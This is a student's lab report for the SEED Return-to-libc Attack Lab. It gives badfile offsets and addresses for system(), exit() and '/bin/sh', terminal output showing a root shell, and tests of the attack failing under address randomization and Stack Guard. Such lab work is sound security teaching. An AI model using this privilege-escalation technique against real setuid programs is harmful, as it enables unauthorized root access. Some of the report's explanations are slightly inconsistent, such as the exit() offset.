Lab 4-Return-to-libc Attack Lab

Marco Lin

Task1: Exploiting the Vulnerability

In order to create the badfile, we use gdb tool and evaddr.c file to obtain the address of the system(), exit(), and /bin/sh/. Then, we compiler and run exploit and retlib to obtain the root shell.

```
[10/02/19]seed@VM:~/.../lab4$ ./evaddr
 bffffdef
[10/02/19]seed@VM:~/.../lab4$
```

```
 *(long *) &buf[32] = 0xbffffdef ;   //  "/bin/sh" address
 *(long *) &buf[28] = 0xb7e369d0 ;   // exit()
 *(long *) &buf[24] = 0xb7e42da0 ;   //  system() address
```

```
[10/02/19]seed@VM:~/.../lab4$ ./exploit
[10/02/19]seed@VM:~/.../lab4$ ./retlib
# whoami
root
#
```

Question:

A. Please describe how you decide the values for X, Y and Z. Either show us your reasoning, or if you use trial-and-error approach, show your trials.

Ans: We should set the system's entry adderss at bof's return address(&buf[24], set system's argument address at &buf[32], and set exit's address at &buf[36]. This is because we got the distance between &butffer[] start and ebp is 0x14 which is equal 20. Then the distance between ebp and /bin/sh is 12. So, X = 20+12 =32. The distance between ebp and exit is 8. And, the distance between ebp and system is 4. Thus, Z = 20+4 =24, Y = 20+8=28.

B. After your attack is successful, change the file name of retlib to a different name, making sure that the length of the file names are different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Is your attack successful or not? If it does not succeed, explain why.

Ans: It did not succeed, because of the changing of the length of the file names, the addresses are changed.

```
[10/04/19]seed@VM:~/.../lab4$ ./newretlib
zsh:1: command not found: h
[10/04/19]seed@VM:~/.../lab4$
```

Task2: Address Randomization

```
[10/02/19]seed@VM:~/.../lab4$ su root
Password:
root@VM:/home/seed/Documents/lab4# /sbin/sysctl -w kernel.randomize_va
_space=2
kernel.randomize_va_space = 2
root@VM:/home/seed/Documents/lab4# exit
exit
[10/02/19]seed@VM:~/.../lab4$ ./exploit
[10/02/19]seed@VM:~/.../lab4$ ./retlib
Segmentation fault
[10/02/19]seed@VM:~/.../lab4$
```

Explanation: We can't get a shell because address randomization makes these addresses different every time.

Task3: Stack Guard Protection

In this task, let us turn on the Ubuntu's Stack Guard protection. Please remember to turn off the address randomization protection. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the Stack Guard protection make your return-to-libc attack difficult? You should describe your observation and explanation in your lab report.

```
root@VM:/home/seed/Documents/lab4# /sbin/sysctl -w kernel.randomize_va
_space=0
kernel.randomize_va_space = 0
root@VM:/home/seed/Documents/lab4# gcc -z noexecstack -o retlib retlib
.c
root@VM:/home/seed/Documents/lab4# chmod 4755 retlib
root@VM:/home/seed/Documents/lab4# exit
exit
[10/02/19]seed@VM:~/.../lab4$ ./exploit
[10/02/19]seed@VM:~/.../lab4$ ./retlib
*** stack smashing detected ***: ./retlib terminated
Aborted
[10/02/19]seed@VM:~/.../lab4$
```

Explanation: No, we can't get the shell because the buffers were overflow and Stack Guard protection prevent buffer overflows.